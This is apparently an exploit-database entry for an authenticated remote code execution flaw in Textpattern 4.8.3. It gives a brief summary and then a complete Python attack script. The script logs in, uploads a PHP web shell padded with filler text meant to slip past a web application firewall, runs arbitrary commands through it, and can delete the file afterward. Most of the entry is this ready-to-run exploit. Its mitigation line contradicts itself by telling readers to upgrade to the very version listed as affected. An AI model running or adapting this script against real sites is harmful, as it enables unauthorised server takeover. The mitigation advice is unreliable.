header-logo
Suggest Exploit
vendor:
Textpattern
by:
Ricardo Ruiz
9.8
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: Textpattern
Affected Version From: Previous to 4.8.3
Affected Version To: 4.8.3
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: CentOS, textpattern 4.5.7 and 4.6.0
2021

Textpattern 4.8.3 – Remote code execution (Authenticated) (2)

This exploit allows an authenticated user to execute arbitrary code on the vulnerable Textpattern 4.8.3 system. The exploit requires the user to have valid credentials and the target system must have the pip3 package installed. The exploit uses the BeautifulSoup4, argparse, and requests packages to login to the target system, upload a malicious PHP file, execute the command, and delete the file.

Mitigation:

Upgrade to Textpattern 4.8.3 or later, or apply the patch provided by the vendor.
Source

Exploit-DB raw data:

# Exploit Title: Textpattern 4.8.3 - Remote code execution (Authenticated) (2)
# Date: 03/03/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor Homepage: https://textpattern.com/
# Software Link: https://textpattern.com/start
# Version: Previous to 4.8.3
# Tested on: CentOS, textpattern 4.5.7 and 4.6.0
# Install dependencies: pip3 install beautifulsoup4 argparse requests
# Example: python3 exploit.py -t http://example.com/ -u USER -p PASSWORD -c "whoami" -d

import sys
import argparse
import requests
from bs4 import BeautifulSoup


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
	parser.add_argument('-u', '--user', required=True, action='store', help='Username')
	parser.add_argument('-p', '--password', required=True, action='store', help='Password')
	parser.add_argument('-c', '--command', required=False, default="whoami", action='store', help='Command to execute')
	parser.add_argument('-f', '--filename', required=False, default="testing.php", action='store', help='PHP File Name to upload')
	parser.add_argument('-d', '--delete', required=False, default=False, action='store_true', help='Delete PHP file after executing command')
	my_args = parser.parse_args()
	return my_args


def get_file_id(s, files_url, file_name):
	r = s.get(files_url, verify=False)
	soup = BeautifulSoup(r.text, "html.parser")
	for a in soup.findAll('a'):
		if "file_download/" in a['href']:
			file_id_name = a['href'].split('file_download/')[1].split("/")
			if file_id_name[1] == file_name:
				file_id = file_id_name[0]
				return file_id


def login(login_url, user, password):
	s = requests.Session()
	s.get(login_url, verify=False)
	data = {"p_userid":user, "p_password":password, "_txp_token":""}
	r = s.post(login_url, data=data, verify=False)
	if str(r.status_code) == "401":
		print("[+] Invalid credentials")
		sys.exit(0)
	_txp_token = ""
	soup = BeautifulSoup(r.text, "html.parser")
	fields = soup.findAll('input')
	for f in fields:
		if (f['name'] == "_txp_token"):
			_txp_token = f['value']
	return s,_txp_token


def upload(s, login_url, _txp_token, file_name):
	php_payload = '<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n'*1000 # to avoid WAF problems
	php_payload += '<?php $test = shell_exec($_REQUEST[\'cmd\']); echo $test; ?>'
	s.post(login_url, files=(("MAX_FILE_SIZE", (None, "2000000")), ("event", (None, "file")), ("step", (None, "file_insert")), ("id", (None, "")), ("sort", (None, "")), ("dir", (None, "")), ("page", (None, "")), ("search_method", (None, "")), ("crit", (None, "")), ("thefile",(file_name, php_payload, 'application/octet-stream')), ("_txp_token", (None, _txp_token)),), verify=False) 


def exec_cmd(s, cmd_url, command):
	r = s.get(cmd_url+command, verify=False)
	response = r.text.replace("<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n","")
	return response


def delete_file(s, login_url, file_id, _txp_token):
	data = {"selected[]":file_id,"edit_method":"delete","event":"file","step":"file_multi_edit","page":"1","sort":"filename","dir":"asc","_txp_token":_txp_token}
	s.post(login_url, data=data, verify=False)


def main():
	args = get_args()
	url = args.target
	user = args.user
	password = args.password
	file_name = args.filename
	command = args.command
	delete_after_execute = args.delete

	login_url =  url + "/textpattern/index.php"
	upload_url = url + "/textpattern/index.php"
	cmd_url =    url + "/files/" + file_name + "?cmd="
	files_url =  url + "/textpattern/index.php?event=file"

	s,_txp_token = login(login_url, user, password)
	print("[+] Logged in")
	upload(s, login_url, _txp_token, file_name)
	file_id = get_file_id(s, files_url, file_name)
	print("[+] File uploaded with id %s"%(file_id))
	response = exec_cmd(s, cmd_url, command)
	print("[+] Command output \n%s"%(response))

	if delete_after_execute:
		print("[+] Deleting uploaded file %s with id %s" %(file_name, file_id))
		delete_file(s, login_url, file_id, _txp_token)
	else:
		print("[+] File not deleted. Url: %s"%(url + "/files/" + file_name))


if __name__ == "__main__":
	main()